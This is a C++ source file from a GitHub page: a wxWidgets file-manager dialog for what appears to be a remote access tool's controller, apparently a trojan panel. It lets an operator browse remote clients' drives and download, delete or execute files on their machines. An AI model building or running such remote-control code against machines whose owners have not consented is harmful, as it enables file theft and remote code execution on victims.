-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathfile_manager.cpp
More file actions
264 lines (226 loc) · 10.3 KB
/
Copy pathfile_manager.cpp
File metadata and controls
264 lines (226 loc) · 10.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
#include "file_manager.h"
#include "socket.h"
#include <wx/sizer.h>
#include <wx/msgdlg.h>
#include <wx/filedlg.h>
#include <wx/menu.h>
#include <wx/base64.h>
#include <wx/file.h>
#include <wx/filename.h>
#include <wx/stdpaths.h>
#include <mutex>
#include <unordered_map>
#include <string>
struct DirData { std::string path; std::string entries; };
static std::unordered_map<int, DirData> g_DirData;
static std::mutex g_FmMutex;
void FileManager_UpdateDir(int clientId, const std::string& path, const std::string& entries)
{
std::lock_guard<std::mutex> lk(g_FmMutex);
g_DirData[clientId] = { path, entries };
}
struct ChunkData { std::string id; std::string b64data; bool finalChunk; };
static std::unordered_map<int, std::vector<ChunkData>> g_ChunkData;
void FileManager_AddChunk(int clientId, const std::string& id, const std::string& chunk, bool finalChunk)
{
std::lock_guard<std::mutex> lk(g_FmMutex);
g_ChunkData[clientId].push_back({id, chunk, finalChunk});
}
enum { ID_DOWNLOAD = 1, ID_DELETE = 2, ID_EXEC = 3 };
FileManagerDialog::FileManagerDialog(wxWindow* parent, const wxString& clientName, const wxString& hwid, int clientId)
: wxDialog(parent, wxID_ANY, "File Manager - " + clientName,
wxDefaultPosition, wxSize(700, 500),
wxDEFAULT_DIALOG_STYLE | wxMINIMIZE_BOX),
m_hwid(hwid), m_clientId(clientId), m_downloadFile(nullptr)
{
SetFont(wxFont(9, wxFONTFAMILY_SWISS, wxFONTSTYLE_NORMAL, wxFONTWEIGHT_NORMAL, false, "Segoe UI"));
wxBoxSizer* root = new wxBoxSizer(wxVERTICAL);
wxBoxSizer* toolbar = new wxBoxSizer(wxHORIZONTAL);
wxButton* btnDrives = new wxButton(this, wxID_ANY, "Drives", wxDefaultPosition, wxSize(60, 26));
m_pathCtrl = new wxTextCtrl(this, wxID_ANY, "", wxDefaultPosition, wxDefaultSize, wxTE_PROCESS_ENTER);
wxButton* btnGo = new wxButton(this, wxID_ANY, "Go", wxDefaultPosition, wxSize(50, 26));
toolbar->Add(btnDrives, 0, wxRIGHT, 4);
toolbar->Add(m_pathCtrl, 1, wxEXPAND | wxRIGHT, 4);
toolbar->Add(btnGo, 0, wxRIGHT, 4);
root->Add(toolbar, 0, wxEXPAND | wxALL, 6);
m_list = new wxListCtrl(this, wxID_ANY, wxDefaultPosition, wxDefaultSize,
wxLC_REPORT | wxLC_VRULES | wxLC_HRULES | wxLC_SINGLE_SEL);
m_list->AppendColumn("Name", wxLIST_FORMAT_LEFT, 300);
m_list->AppendColumn("Type", wxLIST_FORMAT_LEFT, 80);
m_list->AppendColumn("Size", wxLIST_FORMAT_RIGHT, 100);
m_list->AppendColumn("Modified", wxLIST_FORMAT_LEFT, 150);
root->Add(m_list, 1, wxEXPAND | wxLEFT | wxRIGHT | wxBOTTOM, 6);
m_statusLabel = new wxStaticText(this, wxID_ANY, "Ready");
root->Add(m_statusLabel, 0, wxEXPAND | wxLEFT | wxBOTTOM, 6);
SetSizer(root);
Bind(wxEVT_BUTTON, &FileManagerDialog::OnDrives, this, btnDrives->GetId());
Bind(wxEVT_BUTTON, &FileManagerDialog::OnGo, this, btnGo->GetId());
Bind(wxEVT_TEXT_ENTER, &FileManagerDialog::OnGo, this, m_pathCtrl->GetId());
Bind(wxEVT_LIST_ITEM_ACTIVATED, &FileManagerDialog::OnItemActivated, this, m_list->GetId());
Bind(wxEVT_LIST_ITEM_RIGHT_CLICK, &FileManagerDialog::OnRightClick, this, m_list->GetId());
Bind(wxEVT_MENU, &FileManagerDialog::OnMenuDownload, this, ID_DOWNLOAD);
Bind(wxEVT_MENU, &FileManagerDialog::OnMenuDelete, this, ID_DELETE);
Bind(wxEVT_MENU, &FileManagerDialog::OnMenuExecute, this, ID_EXEC);
Bind(wxEVT_CLOSE_WINDOW, &FileManagerDialog::OnClose, this);
m_timer.SetOwner(this);
Bind(wxEVT_TIMER, &FileManagerDialog::OnTimer, this);
m_timer.Start(200);
ServerManager::SendToClient(m_clientId, "{\"cmd\":\"startup_path\"}");
Centre();
}
FileManagerDialog::~FileManagerDialog() {
m_timer.Stop();
if (m_downloadFile) { m_downloadFile->Close(); delete m_downloadFile; }
}
void FileManagerDialog::RequestDir(const wxString& path) {
m_statusLabel->SetLabel("Requesting directory...");
wxString escaped = path;
escaped.Replace("\\", "\\\\");
ServerManager::SendToClient(m_clientId, "{\"cmd\":\"list_dir\",\"path\":\"" + escaped.ToStdString() + "\"}");
}
void FileManagerDialog::OnDrives(wxCommandEvent&) {
m_statusLabel->SetLabel("Requesting drives...");
ServerManager::SendToClient(m_clientId, "{\"cmd\":\"list_drives\"}");
}
void FileManagerDialog::OnGo(wxCommandEvent&) {
RequestDir(m_pathCtrl->GetValue().Trim());
}
void FileManagerDialog::OnItemActivated(wxListEvent& e) {
wxString type = m_list->GetItemText(e.GetIndex(), 1);
if (type == "<DIR>" || type.Contains("Drive")) {
wxString name = m_list->GetItemText(e.GetIndex(), 0);
wxString newPath;
if (name == "..") {
wxFileName fn(m_currentPath);
fn.RemoveLastDir();
newPath = fn.GetPath();
if (newPath.empty()) { OnDrives(e); return; }
} else {
if (m_currentPath.empty()) newPath = name + "\\";
else newPath = m_currentPath + (m_currentPath.EndsWith("\\") ? "" : "\\") + name;
}
m_pathCtrl->SetValue(newPath);
RequestDir(newPath);
}
}
void FileManagerDialog::OnRightClick(wxListEvent& e) {
wxMenu menu;
wxString type = m_list->GetItemText(e.GetIndex(), 1);
if (type == "FILE") {
menu.Append(ID_DOWNLOAD, "Download");
menu.Append(ID_EXEC, "Execute");
}
menu.Append(ID_DELETE, "Delete");
PopupMenu(&menu);
}
void FileManagerDialog::OnMenuDownload(wxCommandEvent&) {
long idx = m_list->GetNextItem(-1, wxLIST_NEXT_ALL, wxLIST_STATE_SELECTED);
if (idx < 0) return;
wxString name = m_list->GetItemText(idx, 0);
wxString fullPath = m_currentPath + (m_currentPath.EndsWith("\\") ? "" : "\\") + name;
wxString exeDir = wxPathOnly(wxStandardPaths::Get().GetExecutablePath());
wxString fullClientPath = exeDir + "\\Clients\\" + wxString::Format("%d", m_clientId) + "\\Downloads";
wxFileName::Mkdir(fullClientPath, wxS_DIR_DEFAULT, wxPATH_MKDIR_FULL);
wxFileDialog saveDlg(this, "Save As", fullClientPath, name, "*.*", wxFD_SAVE | wxFD_OVERWRITE_PROMPT);
if (saveDlg.ShowModal() == wxID_OK) {
if (m_downloadFile) { m_downloadFile->Close(); delete m_downloadFile; }
m_downloadFile = new wxFile(saveDlg.GetPath(), wxFile::write);
m_downloadId = wxString::Format("%lld", (long long)time(NULL));
wxString escaped = fullPath; escaped.Replace("\\", "\\\\");
ServerManager::SendToClient(m_clientId, "{\"cmd\":\"download_file\",\"path\":\"" + escaped.ToStdString() + "\",\"id\":\"" + m_downloadId.ToStdString() + "\"}");
m_statusLabel->SetLabel("Downloading " + name + "...");
}
}
void FileManagerDialog::OnMenuDelete(wxCommandEvent&) {
long idx = m_list->GetNextItem(-1, wxLIST_NEXT_ALL, wxLIST_STATE_SELECTED);
if (idx < 0) return;
wxString name = m_list->GetItemText(idx, 0);
wxString fullPath = m_currentPath + (m_currentPath.EndsWith("\\") ? "" : "\\") + name;
if (wxMessageBox("Delete " + name + "?", "Confirm", wxYES_NO | wxICON_WARNING) == wxYES) {
wxString escaped = fullPath; escaped.Replace("\\", "\\\\");
ServerManager::SendToClient(m_clientId, "{\"cmd\":\"delete_file\",\"path\":\"" + escaped.ToStdString() + "\"}");
wxMilliSleep(300);
RequestDir(m_currentPath);
}
}
void FileManagerDialog::OnMenuExecute(wxCommandEvent&) {
long idx = m_list->GetNextItem(-1, wxLIST_NEXT_ALL, wxLIST_STATE_SELECTED);
if (idx < 0) return;
wxString name = m_list->GetItemText(idx, 0);
wxString fullPath = m_currentPath + (m_currentPath.EndsWith("\\") ? "" : "\\") + name;
wxString escaped = fullPath; escaped.Replace("\\", "\\\\");
ServerManager::SendToClient(m_clientId, "{\"cmd\":\"exec_file\",\"path\":\"" + escaped.ToStdString() + "\"}");
}
void FileManagerDialog::OnTimer(wxTimerEvent&) {
DirData dd;
bool hasDir = false;
{
std::lock_guard<std::mutex> lk(g_FmMutex);
auto it = g_DirData.find(m_clientId);
if (it != g_DirData.end() && !it->second.entries.empty()) {
dd = std::move(it->second);
it->second.entries.clear();
hasDir = true;
}
}
if (hasDir) UpdateList(wxString::FromUTF8(dd.path), wxString::FromUTF8(dd.entries));
std::vector<ChunkData> chunks;
{
std::lock_guard<std::mutex> lk(g_FmMutex);
auto it = g_ChunkData.find(m_clientId);
if (it != g_ChunkData.end() && !it->second.empty()) {
chunks = std::move(it->second);
g_ChunkData.erase(it);
}
}
for (size_t i = 0; i < chunks.size(); i++) {
OnFileChunk(wxString::FromUTF8(chunks[i].id), wxString::FromUTF8(chunks[i].b64data), chunks[i].finalChunk);
}
}
void FileManagerDialog::UpdateList(const wxString& path, const wxString& entries) {
m_currentPath = path;
m_pathCtrl->SetValue(path);
m_list->DeleteAllItems();
wxArrayString lines = wxSplit(entries, '\n');
long row = 0;
for (const auto& line : lines) {
if (line.empty()) continue;
wxArrayString parts = wxSplit(line, '|');
if (parts.GetCount() < 2) continue;
m_list->InsertItem(row, parts[0]);
m_list->SetItem(row, 1, parts[1]);
if (parts.GetCount() >= 4) {
long long size;
if (parts[2].ToLongLong(&size) && parts[1] != "<DIR>") {
m_list->SetItem(row, 2, wxString::Format("%.2f MB", size / 1048576.0));
}
m_list->SetItem(row, 3, parts[3]);
}
row++;
}
m_statusLabel->SetLabel(wxString::Format("Loaded %ld items.", row));
}
void FileManagerDialog::OnFileChunk(const wxString& id, const wxString& b64data, bool finalChunk) {
if (id != m_downloadId || !m_downloadFile) return;
wxMemoryBuffer buf = wxBase64Decode(b64data);
if (buf.GetDataLen() > 0) {
m_downloadFile->Write(buf.GetData(), buf.GetDataLen());
}
if (finalChunk) {
m_downloadFile->Close();
delete m_downloadFile;
m_downloadFile = nullptr;
m_downloadId.Clear();
m_statusLabel->SetLabel("Download completed!");
wxMessageBox("File downloaded successfully.", "Download", wxOK | wxICON_INFORMATION);
}
}
void FileManagerDialog::OnClose(wxCloseEvent&) {
m_timer.Stop();
{
std::lock_guard<std::mutex> lk(g_FmMutex);
g_DirData.erase(m_clientId);
g_ChunkData.erase(m_clientId);
}
Destroy();
}